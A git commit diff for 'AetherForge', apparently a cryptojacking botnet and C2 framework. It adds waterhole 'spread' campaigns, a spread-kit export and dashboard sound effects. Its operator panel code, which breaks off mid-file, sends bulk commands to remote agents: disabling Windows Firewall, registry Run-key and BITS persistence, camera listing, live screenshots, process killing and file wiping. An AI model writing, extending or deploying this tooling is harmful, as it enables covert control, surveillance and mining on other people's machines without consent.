feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions
--- a/server/web/public/audio/.gitkeep
+++ b/server/web/public/audio/.gitkeep
@@ -0,0 +1,2 @@
+# Drop your looping ambient track here as ambient.mp3 (MP3 preferred; OGG/WAV also work).
+# Enable background music in Settings → Sound & Haptics after adding the file.
--- a/server/web/public/audio/ambient.mp3
+++ b/server/web/public/audio/ambient.mp3
--- a/server/web/src/App.tsx
+++ b/server/web/src/App.tsx
@@ -4,10 +4,12 @@ import SessionGate from './components/SessionGate';
 import Layout from './components/Layout/Layout';
 import { WebSocketProvider } from './context/WebSocketProvider';
 import { SoundProvider } from './context/SoundContext';
+import { AmbientMusicProvider } from './context/AmbientMusicContext';
 import { VisualEffectsProvider } from './context/VisualEffectsContext';
 import { ForgeProvider } from './context/ForgeContext';
 import { MatrixRainProvider } from './context/MatrixRainContext';
 import SoundBridge from './components/Sound/SoundBridge';
+import GlobalMusicPlayer from './components/GlobalMusicPlayer';

 const DashboardPage = lazy(() => import('./pages/DashboardPage'));
 const AgentsPage = lazy(() => import('./pages/AgentsPage'));
@@ -17,6 +19,7 @@ const SettingsPage = lazy(() => import('./pages/SettingsPage'));
 const GuidePage = lazy(() => import('./pages/GuidePage'));
 const CruciblePage = lazy(() => import('./pages/CruciblePage'));
 const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
+const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));

 export function PageFallback() {
  return (
@@ -32,8 +35,10 @@ function App() {
    // No page or component should call new WebSocket() directly — use useWebSocket().
    <WebSocketProvider>
      <SoundProvider>
+      <AmbientMusicProvider>
      <VisualEffectsProvider>
      <SoundBridge />
+      <GlobalMusicPlayer />
      <ForgeProvider>
      <MatrixRainProvider>
      <SessionGate>
@@ -47,6 +52,8 @@ function App() {
            <Route path="/builder" element={<Navigate to="/forge" replace />} />
            <Route path="/crucible" element={<CruciblePage />} />
            <Route path="/builds" element={<BuildManagerPage />} />
+            <Route path="/emberwake" element={<EmberwakePage />} />
+            <Route path="/spread" element={<Navigate to="/emberwake" replace />} />
            <Route path="/guide" element={<GuidePage />} />
            <Route path="/settings" element={<SettingsPage />} />
            <Route path="/pathtracer" element={<PathTracerPage />} />
@@ -57,6 +64,7 @@ function App() {
      </MatrixRainProvider>
      </ForgeProvider>
      </VisualEffectsProvider>
+      </AmbientMusicProvider>
      </SoundProvider>
    </WebSocketProvider>
  );
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -1,4 +1,4 @@
-import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
+import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
 import { authHeaders, clearStoredAuth } from './auth';
 import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';

@@ -186,6 +186,11 @@ export const api = {
    fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
  deleteBuild: (buildId: string) =>
    fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
+  setBuildPublic: (buildId: string, isPublic: boolean) =>
+    fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, {
+      method: 'PUT',
+      body: JSON.stringify({ public: isPublic }),
+    }),

  buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
  buildArtifactUrl: (buildId: string, fileName: string) =>
@@ -297,6 +302,40 @@ export const api = {
    fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
  getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),

+  // Public builds (unauthenticated — used on login page)
+  listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
+    const res = await fetch(`${API_BASE}/public/builds`);
+    if (!res.ok) throw new Error(`Public builds ${res.status}`);
+    return res.json();
+  },
+
+  // Emberwake
+  getEmberwakeNotes: () => fetchJSON<EmberwakeNotes>('/emberwake/notes'),
+  putEmberwakeNotes: (content: string) =>
+    fetchJSON<EmberwakeNotes>('/emberwake/notes', {
+      method: 'PUT',
+      body: JSON.stringify({ content }),
+    }),
+  listCampaignHits: () =>
+    fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
+
+  exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
+    const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json', ...authHeaders() },
+      body: JSON.stringify(req),
+    });
+    if (res.status === 401) clearStoredAuth({ expired: true });
+    if (!res.ok) throw new Error(await res.text());
+    const blob = await res.blob();
+    const url = URL.createObjectURL(blob);
+    const a = document.createElement('a');
+    a.href = url;
+    a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
+    a.click();
+    URL.revokeObjectURL(url);
+  },
+
  // Path Tracer — WireGuard VPN chain sessions
  startTrace: (agentIds: string[]) =>
    fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
--- a/server/web/src/audio/ambientMusic.test.ts
+++ b/server/web/src/audio/ambientMusic.test.ts
@@ -0,0 +1,43 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, it, expect, beforeEach } from 'vitest';
+import {
+  AmbientMusicPlayer,
+  loadBgmEnabled,
+  loadBgmVolume,
+  BGM_STORAGE_KEY,
+  BGM_VOLUME_KEY,
+  AMBIENT_MUSIC_SRC,
+} from './ambientMusic';
+
+describe('ambientMusic prefs', () => {
+  beforeEach(() => {
+    localStorage.clear();
+  });
+
+  it('defaults music off and volume ~0.22', () => {
+    expect(loadBgmEnabled()).toBe(false);
+    expect(loadBgmVolume()).toBeCloseTo(0.22);
+  });
+
+  it('persists enabled flag', () => {
+    const p = new AmbientMusicPlayer();
+    p.setEnabled(true);
+    expect(localStorage.getItem(BGM_STORAGE_KEY)).toBe('1');
+    expect(loadBgmEnabled()).toBe(true);
+  });
+
+  it('clamps volume', () => {
+    const p = new AmbientMusicPlayer();
+    p.setVolume(3);
+    expect(p.getVolume()).toBe(1);
+    p.setVolume(-2);
+    expect(p.getVolume()).toBe(0);
+    expect(localStorage.getItem(BGM_VOLUME_KEY)).toBe('0');
+  });
+
+  it('points at public audio path', () => {
+    expect(AMBIENT_MUSIC_SRC).toBe('/audio/ambient.mp3');
+  });
+});
--- a/server/web/src/audio/ambientMusic.ts
+++ b/server/web/src/audio/ambientMusic.ts
@@ -0,0 +1,152 @@
+/**
+ * Looping background music — drop your MP3 at public/audio/ambient.mp3
+ * (MP3 preferred; OGG/WAV also work if you update AMBIENT_MUSIC_SRC).
+ */
+export const BGM_STORAGE_KEY = 'aetherforge-bgm';
+export const BGM_VOLUME_KEY = 'aetherforge-bgm-volume';
+/** Served from Vite public/ — place ambient.mp3 here before enabling in Settings. */
+export const AMBIENT_MUSIC_SRC = '/audio/ambient.mp3';
+
+export function loadBgmEnabled(): boolean {
+  try {
+    const v = localStorage.getItem(BGM_STORAGE_KEY);
+    return v === '1';
+  } catch {
+    return false;
+  }
+}
+
+export function loadBgmVolume(): number {
+  try {
+    const v = localStorage.getItem(BGM_VOLUME_KEY);
+    if (v === null) return 0.22;
+    const n = parseFloat(v);
+    return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.22;
+  } catch {
+    return 0.22;
+  }
+}
+
+function persistBgmEnabled(enabled: boolean) {
+  try {
+    localStorage.setItem(BGM_STORAGE_KEY, enabled ? '1' : '0');
+  } catch {
+    /* ignore */
+  }
+}
+
+function persistBgmVolume(volume: number) {
+  try {
+    localStorage.setItem(BGM_VOLUME_KEY, String(volume));
+  } catch {
+    /* ignore */
+  }
+}
+
+export class AmbientMusicPlayer {
+  private audio: HTMLAudioElement | null = null;
+  private enabled = loadBgmEnabled();
+  private volume = loadBgmVolume();
+  private unlocked = false;
+  private playing = false;
+  private listeners = new Set<(playing: boolean) => void>();
+
+  isEnabled() {
+    return this.enabled;
+  }
+
+  isPlaying() {
+    return this.playing;
+  }
+
+  getVolume() {
+    return this.volume;
+  }
+
+  subscribe(fn: (playing: boolean) => void) {
+    this.listeners.add(fn);
+    return () => { this.listeners.delete(fn); };
+  }
+
+  private setPlaying(v: boolean) {
+    if (this.playing === v) return;
+    this.playing = v;
+    for (const fn of this.listeners) fn(v);
+  }
+
+  setEnabled(enabled: boolean) {
+    this.enabled = enabled;
+    persistBgmEnabled(enabled);
+    if (enabled) {
+      this.ensureAudio();
+      void this.tryPlay();
+    } else {
+      this.pause();
+    }
+  }
+
+  setVolume(volume: number) {
+    this.volume = Math.min(1, Math.max(0, volume));
+    persistBgmVolume(this.volume);
+    if (this.audio) this.audio.volume = this.volume;
+  }
+
+  /** Browsers block autoplay until a user gesture unlocks audio. */
+  unlock() {
+    if (this.unlocked) return;
+    this.unlocked = true;
+    this.ensureAudio();
+    if (this.enabled) void this.tryPlay();
+  }
+
+  togglePlay() {
+    if (this.playing) {
+      this.pause();
+      return false;
+    }
+    if (!this.enabled) {
+      this.setEnabled(true);
+    }
+    void this.tryPlay();
+    return true;
+  }
+
+  private ensureAudio() {
+    if (this.audio || typeof document === 'undefined') return;
+    const el = new Audio(AMBIENT_MUSIC_SRC);
+    el.loop = true;
+    el.preload = 'auto';
+    el.volume = this.volume;
+    el.addEventListener('play', () => this.setPlaying(true));
+    el.addEventListener('pause', () => this.setPlaying(false));
+    el.addEventListener('ended', () => this.setPlaying(false));
+    el.addEventListener('error', () => {
+      this.setPlaying(false);
+    });
+    this.audio = el;
+  }
+
+  private pause() {
+    if (!this.audio) return;
+    this.audio.pause();
+    this.setPlaying(false);
+  }
+
+  async tryPlay(): Promise<boolean> {
+    if (!this.enabled) return false;
+    this.ensureAudio();
+    if (!this.audio) return false;
+    this.audio.volume = this.volume;
+    try {
+      await this.audio.play();
+      this.setPlaying(true);
+      return true;
+    } catch {
+      this.setPlaying(false);
+      /* Autoplay policy — wait for Settings toggle or first click */
+      return false;
+    }
+  }
+}
+
+export const ambientMusicPlayer = new AmbientMusicPlayer();
--- a/server/web/src/audio/hoverSfx.test.ts
+++ b/server/web/src/audio/hoverSfx.test.ts
@@ -0,0 +1,48 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, it, expect, beforeEach } from 'vitest';
+import {
+  HoverSfxEngine,
+  loadHoverEnabled,
+  loadHoverVolume,
+  HOVER_SFX_STORAGE_KEY,
+  HOVER_SFX_VOLUME_KEY,
+} from './hoverSfx';
+
+describe('hoverSfx prefs', () => {
+  beforeEach(() => {
+    localStorage.clear();
+  });
+
+  it('defaults hover on and volume ~0.25', () => {
+    expect(loadHoverEnabled()).toBe(true);
+    expect(loadHoverVolume()).toBeCloseTo(0.25);
+  });
+
+  it('persists enabled flag', () => {
+    const e = new HoverSfxEngine();
+    e.setEnabled(false);
+    expect(localStorage.getItem(HOVER_SFX_STORAGE_KEY)).toBe('0');
+    expect(loadHoverEnabled()).toBe(false);
+  });
+
+  it('clamps volume', () => {
+    const e = new HoverSfxEngine();
+    e.setVolume(2);
+    expect(e.getVolume()).toBe(1);
+    e.setVolume(-1);
+    expect(e.getVolume()).toBe(0);
+    expect(localStorage.getItem(HOVER_SFX_VOLUME_KEY)).toBe('0');
+  });
+
+  it('debounces rapid play calls', () => {
+    const e = new HoverSfxEngine();
+    e.setDebounceMs(200);
+    e.setEnabled(true);
+    expect(() => {
+      e.play(true);
+      e.play(true);
+    }).not.toThrow();
+  });
+});
--- a/server/web/src/audio/hoverSfx.ts
+++ b/server/web/src/audio/hoverSfx.ts
@@ -0,0 +1,194 @@
+/** Short dubstep/techno hover blips — Web Audio, no asset files. */
+
+export const HOVER_SFX_STORAGE_KEY = 'aetherforge-hover-sfx';
+export const HOVER_SFX_VOLUME_KEY = 'aetherforge-hover-volume';
+
+export function loadHoverEnabled(): boolean {
+  try {
+    const v = localStorage.getItem(HOVER_SFX_STORAGE_KEY);
+    return v === null ? true : v === '1';
+  } catch {
+    return true;
+  }
+}
+
+export function loadHoverVolume(): number {
+  try {
+    const v = localStorage.getItem(HOVER_SFX_VOLUME_KEY);
+    if (v === null) return 0.25;
+    const n = parseFloat(v);
+    return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.25;
+  } catch {
+    return 0.25;
+  }
+}
+
+function persistHoverEnabled(enabled: boolean) {
+  try {
+    localStorage.setItem(HOVER_SFX_STORAGE_KEY, enabled ? '1' : '0');
+  } catch {
+    /* ignore */
+  }
+}
+
+function persistHoverVolume(volume: number) {
+  try {
+    localStorage.setItem(HOVER_SFX_VOLUME_KEY, String(volume));
+  } catch {
+    /* ignore */
+  }
+}
+
+type HoverVariant = 'wub' | 'blip' | 'stab';
+
+export class HoverSfxEngine {
+  private ctx: AudioContext | null = null;
+  private enabled = loadHoverEnabled();
+  private volume = loadHoverVolume();
+  private unlocked = false;
+  private lastPlayAt = 0;
+  private debounceMs = 140;
+
+  isEnabled() {
+    return this.enabled;
+  }
+
+  getVolume() {
+    return this.volume;
+  }
+
+  setEnabled(enabled: boolean) {
+    this.enabled = enabled;
+    persistHoverEnabled(enabled);
+  }
+
+  setVolume(volume: number) {
+    this.volume = Math.min(1, Math.max(0, volume));
+    persistHoverVolume(this.volume);
+  }
+
+  setDebounceMs(ms: number) {
+    this.debounceMs = Math.max(80, ms);
+  }
+
+  unlock() {
+    if (this.unlocked) return;
+    try {
+      const Ctx =
+        typeof window !== 'undefined'
+          ? window.AudioContext ||
+            (window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext
+          : undefined;
+      if (!Ctx) return;
+      if (!this.ctx) this.ctx = new Ctx();
+      if (this.ctx.state === 'suspended') void this.ctx.resume();
+      this.unlocked = true;
+    } catch {
+      /* ignore */
+    }
+  }
+
+  /** Respects main SFX mute via `sfxEnabled` from caller. */
+  play(sfxEnabled = true) {
+    if (!sfxEnabled || !this.enabled) return;
+    const now = Date.now();
+    if (now - this.lastPlayAt < this.debounceMs) return;
+    this.lastPlayAt = now;
+    this.unlock();
+    try {
+      const Ctx = window.AudioContext ||
+        (window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext;
+      if (!Ctx) return;
+      if (!this.ctx) this.ctx = new Ctx();
+      const ctx = this.ctx;
+      if (ctx.state === 'suspended') void ctx.resume();
+      const variant = pickVariant();
+      this.scheduleVariant(ctx, variant);
+    } catch {
+      /* Audio blocked */
+    }
+  }
+
+  preview(sfxEnabled = true) {
+    this.lastPlayAt = 0;
+    this.play(sfxEnabled);
+  }
+
+  private scheduleVariant(ctx: AudioContext, variant: HoverVariant) {
+    const master = ctx.createGain();
+    master.gain.value = this.volume;
+    master.connect(ctx.destination);
+    const t0 = ctx.currentTime;
+    switch (variant) {
+      case 'wub':
+        this.scheduleWub(ctx, master, t0);
+        break;
+      case 'blip':
+        this.scheduleBlip(ctx, master, t0);
+        break;
+      case 'stab':
+        this.scheduleStab(ctx, master, t0);
+        break;
+    }
+  }
+
+  private scheduleWub(ctx: AudioContext, dest: GainNode, t0: number) {
+    const osc = ctx.createOscillator();
+    const g = ctx.createGain();
+    const filter = ctx.createBiquadFilter();
+    filter.type = 'lowpass';
+    filter.frequency.setValueAtTime(420, t0);
+    filter.frequency.exponentialRampToValueAtTime(90, t0 + 0.1);
+    osc.type = 'sawtooth';
+    osc.frequency.setValueAtTime(95, t0);
+    osc.frequency.exponentialRampToValueAtTime(42, t0 + 0.09);
+    g.gain.setValueAtTime(0.0001, t0);
+    g.gain.exponentialRampToValueAtTime(0.09, t0 + 0.012);
+    g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.11);
+    osc.connect(filter);
+    filter.connect(g);
+    g.connect(dest);
+    osc.start(t0);
+    osc.stop(t0 + 0.13);
+  }
+
+  private scheduleBlip(ctx: AudioContext, dest: GainNode, t0: number) {
+    const freq = 280 + Math.random() * 180;
+    const osc = ctx.createOscillator();
+    const g = ctx.createGain();
+    osc.type = 'square';
+    osc.frequency.setValueAtTime(freq, t0);
+    osc.frequency.exponentialRampToValueAtTime(freq * 1.4, t0 + 0.04);
+    g.gain.setValueAtTime(0.0001, t0);
+    g.gain.exponentialRampToValueAtTime(0.05, t0 + 0.006);
+    g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.055);
+    osc.connect(g);
+    g.connect(dest);
+    osc.start(t0);
+    osc.stop(t0 + 0.07);
+  }
+
+  private scheduleStab(ctx: AudioContext, dest: GainNode, t0: number) {
+    const osc = ctx.createOscillator();
+    const g = ctx.createGain();
+    osc.type = 'triangle';
+    osc.frequency.setValueAtTime(62, t0);
+    osc.frequency.setValueAtTime(48, t0 + 0.03);
+    g.gain.setValueAtTime(0.0001, t0);
+    g.gain.exponentialRampToValueAtTime(0.07, t0 + 0.01);
+    g.gain.exponentialRampToValueAtTime(0.0001, t0 + 0.08);
+    osc.connect(g);
+    g.connect(dest);
+    osc.start(t0);
+    osc.stop(t0 + 0.1);
+  }
+}
+
+function pickVariant(): HoverVariant {
+  const r = Math.random();
+  if (r < 0.45) return 'wub';
+  if (r < 0.8) return 'blip';
+  return 'stab';
+}
+
+export const hoverSfxEngine = new HoverSfxEngine();
--- a/server/web/src/components/Fleet/AgentListItem.tsx
+++ b/server/web/src/components/Fleet/AgentListItem.tsx
@@ -136,6 +136,8 @@ export default function AgentListItem({
            <span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
            <span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
            <span>v{agent.version || '?'}</span>
+            {agent.build_id && <span className="mono" title="Forge build">build:{agent.build_id.slice(0, 8)}</span>}
+            {agent.campaign && <span className="agent-tag-chip" title="Spread campaign">c:{agent.campaign}</span>}
          </div>
          {agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
          <AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
--- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
+++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
@@ -0,0 +1,575 @@
+import { useState, useEffect, useRef, useCallback, type ReactNode } from 'react';
+import { api } from '../../api/client';
+import type { Agent, Build } from '../../types';
+import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
+import {
+  isWindowsPlatform,
+  onlineAgents,
+  parseCameraListMessage,
+  selectionAggressiveHint,
+  selectionCanRunAggressive,
+} from '../../help/crucibleOps';
+import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
+
+interface Props {
+  selectedAgents: Agent[];
+  selectedCount: number;
+  singleSelectedAgent: Agent | null;
+  commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
+  onEcho: (text: string, isCmd?: boolean) => void;
+  onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
+}
+
+function CollapsibleGroup({
+  label,
+  className,
+  defaultOpen = true,
+  children,
+}: {
+  label: string;
+  className: string;
+  defaultOpen?: boolean;
+  children: ReactNode;
+}) {
+  const [open, setOpen] = useState(defaultOpen);
+  return (
+    <div className={`crucible-op-group ${className} crucible-op-collapsible`}>
+      <button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
+        <span className="cop-label">{label}</span>
+        <span className="cop-chevron">{open ? '▲' : '▼'}</span>
+      </button>
+      {open && <div className="cop-body">{children}</div>}
+    </div>
+  );
+}
+
+export default function CrucibleExpandedOps({
+  selectedAgents,
+  selectedCount,
+  singleSelectedAgent,
+  commandResults,
+  onEcho,
+  onAgentError,
+}: Props) {
+  const targets = onlineAgents(selectedAgents);
+  const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
+  const hasSelection = selectedCount > 0;
+  const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
+
+  const [builds, setBuilds] = useState<Build[]>([]);
+  const [selectedBuildId, setSelectedBuildId] = useState('');
+  const [liveDesktop, setLiveDesktop] = useState(false);
+  const liveDesktopRef = useRef(false);
+  liveDesktopRef.current = liveDesktop;
+
+  const [wolMac, setWolMac] = useState('');
+  const [registryOpen, setRegistryOpen] = useState(false);
+  const [regHive, setRegHive] = useState('HKCU');
+  const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
+  const [regName, setRegName] = useState('');
+  const [regValue, setRegValue] = useState('');
+  const [regType, setRegType] = useState('REG_SZ');
+
+  const [cameras, setCameras] = useState<string[]>([]);
+  const [selectedCamera, setSelectedCamera] = useState('');
+  const [killPid, setKillPid] = useState('');
+  const [deletePath, setDeletePath] = useState('');
+  const [moveSrc, setMoveSrc] = useState('');
+  const [moveDst, setMoveDst] = useState('');
+  const [wipePath, setWipePath] = useState('');
+
+  useEffect(() => {
+    api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
+  }, []);
+
+  useEffect(() => {
+    if (singleSelectedAgent?.mac_address && !wolMac) {
+      setWolMac(singleSelectedAgent.mac_address);
+    }
+  }, [singleSelectedAgent?.mac_address, wolMac]);
+
+  const dispatchOne = useCallback(
+    async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
+      try {
+        const res = await api.sendAgentCommand(agent.id, action, args);
+        if (res.success === false) {
+          onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
+        }
+      } catch (err) {
+        onAgentError(agent.id, agent.name, action, err);
+      }
+    },
+    [onAgentError]
+  );
+
+  const bulkDispatch = useCallback(
+    (action: string, args: Record<string, unknown> = {}, tgts = targets) => {
+      if (tgts.length === 0) return;
+      for (const a of tgts) {
+        void dispatchOne(a, action, args);
+      }
+      onEcho(`${action} → ${tgts.length} node(s)`, true);
+    },
+    [dispatchOne, onEcho, targets]
+  );
+
+  const aggDisabled = (action: AggressiveRemoteAction) =>
+    !hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);
+
+  const aggTitle = (action: AggressiveRemoteAction) =>
+    selectionAggressiveHint(action, selectedAgents) ??
+    aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);
+
+  const aggBulk = (
+    action: AggressiveRemoteAction,
+    args: Record<string, unknown> = {},
+    confirm?: string,
+    tgts = targets
+  ) => {
+    if (!hasSelection || tgts.length === 0) return;
+    if (confirm && !window.confirm(confirm)) return;
+    bulkDispatch(action, args, tgts);
+  };
+
+  // Live desktop polling (single node)
+  useEffect(() => {
+    if (!liveDesktop || !singleOnline) return;
+    let focused = document.visibilityState === 'visible';
+    const onVis = () => { focused = document.visibilityState === 'visible'; };
+    document.addEventListener('visibilitychange', onVis);
+    const tick = () => {
+      if (!focused || !liveDesktopRef.current) return;
+      api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
+    };
+    const id = setInterval(tick, 3000);
+    tick();
+    return () => {
+      clearInterval(id);
+      document.removeEventListener('visibilitychange', onVis);
+    };
+  }, [liveDesktop, singleOnline]);
+
+  useEffect(() => () => setLiveDesktop(false), []);
+
+  const lastCameraMsg = useRef('');
+  useEffect(() => {
+    if (!commandResults?.length) return;
+    const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
+    if (!hit?.message || hit.message === lastCameraMsg.current) return;
+    lastCameraMsg.current = hit.message;
+    const devs = parseCameraListMessage(hit.message);
+    if (devs.length > 0) {
+      setCameras(devs);
+      setSelectedCamera(devs[0]);
+    }
+  }, [commandResults]);
+
+  const listCameras = async () => {
+    const agent = singleOnline ?? targets[0];
+    if (!agent) return;
+    onEcho('camera_list → ' + agent.name, true);
+    try {
+      const res = await api.sendAgentCommand(agent.id, 'camera_list');
+      if (res.success === false) {
+        onAgentError(agent.id, agent.name, 'camera_list', res.error);
+        return;
+      }
+    } catch (err) {
+      onAgentError(agent.id, agent.name, 'camera_list', err);
+    }
+  };
+
+  const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
+    const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
+    if (winTargets.length === 0) {
+      alert('Registry ops require online Windows agent(s).');
+      return;
+    }
+    if (winTargets.length > 1 && !window.confirm(`Registry ${action} on ${winTargets.length} Windows nodes?`)) {
+      return;
+    }
+    const payload =
+      action === 'registry_read'
+        ? { data: JSON.stringify({ hive: regHive, path: regPath }) }
+        : action === 'registry_write'
+          ? {
+              data: JSON.stringify({
+                hive: regHive,
+                path: regPath,
+                name: regName,
+                value: regValue,
+                type: regType,
+              }),
+            }
+          : { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
+    bulkDispatch(action, payload, winTargets);
+  };
+
+  const sendWol = async () => {
+    const tgts = selectedAgents.length > 0 ? selectedAgents : [];
+    if (tgts.length === 0) return;
+    for (const a of tgts) {
+      try {
+        const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
+        onEcho(
+          res.success
+            ? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
+            : `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
+          true
+        );
+      } catch (err) {
+        onAgentError(a.id, a.name, 'wol', err);
+      }
+    }
+  };
+
+  const pushUpgrade = () => {
+    const build = builds.find((b) => b.id === selectedBuildId);
+    if (!build?.download_url || targets.length === 0) return;
+    if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
+    bulkDispatch('upgrade', { data: build.download_url });
+  };
+
+  return (
+    <>
+      <CollapsibleGroup label="Network" className="cop-network" defaultOpen>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="C2 + pool DNS/TCP reachability JSON"
+          onClick={() => bulkDispatch('connectivity_probe')}
+        >
+          Connectivity Probe
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="TCP listeners table"
+          onClick={() => bulkDispatch('listen_ports')}
+        >
+          Listen Ports
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="Windows Update / patch exposure"
+          onClick={() => bulkDispatch('patch_status')}
+        >
+          Patch Status
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="ARP cache neighbors on shared subnets"
+          onClick={() => bulkDispatch('arp_neighbors')}
+        >
+          ARP Neighbors
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_punch')}
+          title={aggTitle('firewall_punch')}
+          onClick={() => aggBulk('firewall_punch', { command: '8989' })}
+        >
+          Open FW Port
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_off')}
+          title={aggTitle('firewall_off')}
+          onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}
+        >
+          FW Off
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_on')}
+          title={aggTitle('firewall_on')}
+          onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}
+        >
+          FW On
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_profiles')}
+          title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'}
+          onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}
+        >
+          FW Private Off
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('firewall_remove')}
+          title={aggTitle('firewall_remove')}
+          onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}
+        >
+          Remove FW Rules
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('hole_punch_status')}
+          title={aggTitle('hole_punch_status')}
+          onClick={() => aggBulk('hole_punch_status')}
+        >
+          WAN IP
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('hole_punch_close')}
+          title={aggTitle('hole_punch_close')}
+          onClick={() => aggBulk('hole_punch_close', { command: '8989' })}
+        >
+          Close UPnP
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('tunnel_stop')}
+          title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'}
+          onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}
+        >
+          Stop Tunnels
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('mesh_status')}
+          title={aggTitle('mesh_status')}
+          onClick={() => aggBulk('mesh_status')}
+        >
+          Mesh Peers
+        </button>
+      </CollapsibleGroup>
+
+      <CollapsibleGroup label="Persistence" className="cop-persist">
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('bits_persist')}
+          title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
+          onClick={() => aggBulk('bits_persist')}
+        >
+          BITS Persist
